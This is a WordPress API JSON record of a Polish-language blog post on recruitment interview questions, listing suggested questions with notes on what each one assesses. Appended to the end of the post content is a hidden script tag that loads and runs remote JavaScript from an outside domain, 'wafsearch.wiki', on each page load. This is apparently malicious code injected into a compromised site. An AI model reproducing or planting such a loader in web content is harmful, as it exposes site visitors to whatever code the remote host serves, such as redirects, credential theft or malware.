{"id":1536,"date":"2024-04-17T08:50:53","date_gmt":"2024-04-17T06:50:53","guid":{"rendered":"https:\/\/global-metodi.com\/?p=1536"},"modified":"2026-01-08T12:30:44","modified_gmt":"2026-01-08T11:30:44","slug":"jakie-pytania-moga-pasc-na-rekrutacji","status":"publish","type":"post","link":"https:\/\/global-metodi.com\/en\/2024\/04\/17\/jakie-pytania-moga-pasc-na-rekrutacji\/","title":{"rendered":"What questions may be asked during recruitment?"},"content":{"rendered":"<p>Rekrutacja to przedstawienie: ka\u017cdy chce zrobi\u0107 jak najlepsze wra\u017cenie. Rekrutacja to pr\u00f3ba i badanie si\u0142, spotkanie tzw. chemiczne. W spektaklu uczestnicz\u0105 dwie strony i ka\u017cda z nich gr\u0105 chce zrobi\u0107 jak\u00a0 najwi\u0119ksze wra\u017cenie.<\/p>\n<p>Pracodawca: przedstawi\u0107 swoj\u0105 firm\u0119 i warunki pracy w niej panuj\u0105ce jako niemal idealne<\/p>\n<p>Kandydat: oczarowa\u0107 swoj\u0105 osob\u0105 absolutnie wszystkich, pocz\u0105wszy od recepcjonisty\/stki.<\/p>\n<p>Stawka jest du\u017ca: zatrudnienie na jak najlepszych warunkach, pozyskanie i inwestycja w kandydata\/tk\u0119.<\/p>\n<p>W wi\u0119kszo\u015bci\u00a0 przypadk\u00f3w, podczas rekrutacji pojawiaj\u0105 si\u0119 jedne i te same, od dawna praktykowane pytania typu:<\/p>\n<ul>\n<li>Co jest pana\/ pani najwi\u0119kszym sukcesem?<\/li>\n<li>Co jest pani\/Pana najs\u0142absz\u0105 stron\u0105?<\/li>\n<li>Prosz\u0119 opowiedzie\u0107 co\u015b o sobie?<\/li>\n<li>Gdzie widzi si\u0119 Pan\/Pani za 5\/10 lat?<\/li>\n<\/ul>\n<p>Pytania te, moim zdaniem, niewiele wnios\u0105, a ju\u017c na pewno nie pomog\u0105 pozna\u0107 kandydata i co wa\u017cniejsze\u00a0 zweryfikowa\u0107 prawdziwo\u015bci tego o czym m\u00f3wi.<\/p>\n<p>&nbsp;<\/p>\n<p>Poni\u017cej lista inspiruj\u0105cych pyta\u0144, oraz kilka wskaz\u00f3wek na co zwr\u00f3ci\u0107 uwag\u0119 podczas procesu\u00a0 rekrutacji zar\u00f3wno dla rekruter\u00f3w, jak i dla kandydat\u00f3w:<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>Dlaczego postanowi\u0142e\u015b zosta\u0107\u00a0 \u2026 ( pytanie o motywacj\u0119 wewn\u0119trzn\u0105)<\/li>\n<li>Jak d\u0142ugo pracujesz jako X i jakimi\u00a0 dobrymi praktykami mo\u017cesz si\u0119 podzieli\u0107? \u00a0( pytanie o to czy kandydat potrafi wyci\u0105ga\u0107 wnioski i refleksje, oraz czy jest gotowy dzieli\u0107 si\u0119 wiedz\u0105)<\/li>\n<li>Co jest dla Ciebie najbardziej uci\u0105\u017cliwe w twojej pracy np. gdy pracujesz pod presj\u0105? ( pytanie o poziom tolerancji, elastyczno\u015bci i reaktywno\u015b\u0107)<\/li>\n<li>Co lubisz najmniej w swojej pracy? ( pytanie sprawdzaj\u0105ce prawdom\u00f3wno\u015b\u0107. Ka\u017cdy czego\u015b nie lubi \ud83d\ude0a )<\/li>\n<li>Opowiedz o najbardziej problematycznym kliencie i jak sobie z nim poradzi\u0142e\u015b\/ \u0142a\u015b? ( pytanie o radzenie sobie ze stresem i emocjami)<\/li>\n<li>Ile czasu przeznaczasz na napisanie raportu? ( pytanie o efektywno\u015b\u0107 i logiczne my\u015blenie. Kandydat nie powinien uog\u00f3lnia\u0107. Logiczny kandydat zada doprecyzowuj\u0105ce pytania np. jaki raport, lub opisze rodzaje raport\u00f3w jakie robi)<\/li>\n<li>Czym kierujesz si\u0119 wyznaczaj\u0105c zadania priorytetowe dla zespo\u0142u? ( pytanie o efektywno\u015b\u0107, delegowanie i umiej\u0119tno\u015b\u0107 priorytetyzowania zada\u0144)<\/li>\n<li>W jaki spos\u00f3b weryfikujesz progres w pracy twojego zespo\u0142u? ( pytanie o nadz\u00f3r, czujno\u015b\u0107, reakcj\u0119 i umiej\u0119tno\u015b\u0107 obserwacji )<\/li>\n<li>Jak weryfikujesz rozw\u00f3j kompetencji w twoim zespole? ( pytanie o umiej\u0119tno\u015b\u0107 zarz\u0105dzania lud\u017ami)<\/li>\n<li>Gdy widzisz \u017ce projekt \/ praca nie idzie, ale twoi pracownicy nie zwracaj\u0105 si\u0119 do Ciebie po wsparcie- jak d\u0142ugo zesp\u00f3\u0142 musi pom\u0119czy\u0107 si\u0119 sam, zanim wkroczysz? ( pytanie o to czy kandydat nie wyr\u0119cza ludzi, nie bierze na siebie temat\u00f3w gdy jest po\u017car i o to czy potrafi\u00a0 na czas zaobserwowa\u0107 i zareagowa\u0107, ale da\u0107 te\u017c mo\u017cliwo\u015b\u0107 dzia\u0142ania zespo\u0142owi)<\/li>\n<li>W jaki spos\u00f3b przeprowadzasz rozmowy dyscyplinuj\u0105ce? ( pytanie o umiej\u0119tno\u015bci\u00a0 komunikacyjne, granice asertywno\u015bci,\u00a0 konsekwencj\u0119 i spos\u00f3b reakcji na stres: mo\u017ce unika\u0107 )<\/li>\n<li>Jakie s\u0142owa twoim zdaniem wywo\u0142uj\u0105 w pracownikach\/ wsp\u00f3\u0142pracownikach z\u0142o\u015b\u0107 i irytacj\u0119? \u00a0( pytanie o umiej\u0119tno\u015bci\u00a0 interpersonalne, zarz\u0105dzanie konfliktami, umiej\u0119tno\u015bci komunikacyjne, wyczucie)<\/li>\n<li>Jaka by\u0142aby najsurowsza kara jak\u0105 by\u0142by\u015b w stanie wymierzy\u0107 za niewykonanie polecenia?( pytanie o granice, do czego kandydat jest zdolny)<\/li>\n<li>Jakie wnioski wyci\u0105gn\u0105\u0142e\u015b ze swoich pora\u017cek? ( pytanie o umiej\u0119tno\u015b\u0107\u00a0 wyci\u0105gania wniosk\u00f3w)<\/li>\n<li>Jakie zachowania ludzi mog\u0105 wytr\u0105ci\u0107 Ci\u0119 z r\u00f3wnowagi? ( pytanie o tolerancj\u0119 na stres i niesprzyjaj\u0105ce warunki pracy, oraz prawdom\u00f3wno\u015b\u0107 \u2013 ka\u017cdy ma takie czynniki jakie dzia\u0142aj\u0105 na niego destruktywnie)<\/li>\n<li>Co w twoich\u00a0 referencjach\u00a0 b\u0119dzie oceniane jako\u00a0 twoja najsilniejsza strona? ( pytanie o wyobra\u017cenie kandydata o sobie samym, sugestywne, nakierowuj\u0105ce i obiektywne)<\/li>\n<li>Jakie rodzaje program\u00f3w do (\u2026) stosujesz, jakie s\u0105 polecasz?<\/li>\n<li>W jakim minimalnym czasie zleci\u0142 Pan spedycj\u0119 zewn\u0119trzenej\u00a0 firmy?<\/li>\n<li>Jak sprawdza pan rzetelno\u015b\u0107 i\u00a0 referencje podwykonawc\u00f3w?<\/li>\n<li>Jakby si\u0119 Pan poczu\u0142 gdyby dowiedzia\u0142 \u017ce przygotowywany przez wasz zespo\u00f3\u0142 przez rok projekt nie b\u0119dzie realizowany?<\/li>\n<\/ul>\n<p>&nbsp;<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Rekrutacja to przedstawienie: ka\u017cdy chce zrobi\u0107 jak najlepsze wra\u017cenie. Rekrutacja to pr\u00f3ba i badanie si\u0142, spotkanie tzw. chemiczne. W spektaklu uczestnicz\u0105 dwie strony i ka\u017cda z nich gr\u0105 chce zrobi\u0107 jak\u00a0 najwi\u0119ksze wra\u017cenie. Pracodawca: przedstawi\u0107 swoj\u0105 firm\u0119 i warunki pracy w niej panuj\u0105ce jako niemal idealne Kandydat: oczarowa\u0107 swoj\u0105 osob\u0105 absolutnie wszystkich, pocz\u0105wszy od recepcjonisty\/stki. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1537,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[83,84],"tags":[],"class_list":["post-1536","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artykuly","category-blog"],"acf":[],"_links":{"self":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1536","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/comments?post=1536"}],"version-history":[{"count":2,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1536\/revisions"}],"predecessor-version":[{"id":2035,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1536\/revisions\/2035"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media\/1537"}],"wp:attachment":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media?parent=1536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/categories?post=1536"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/tags?post=1536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}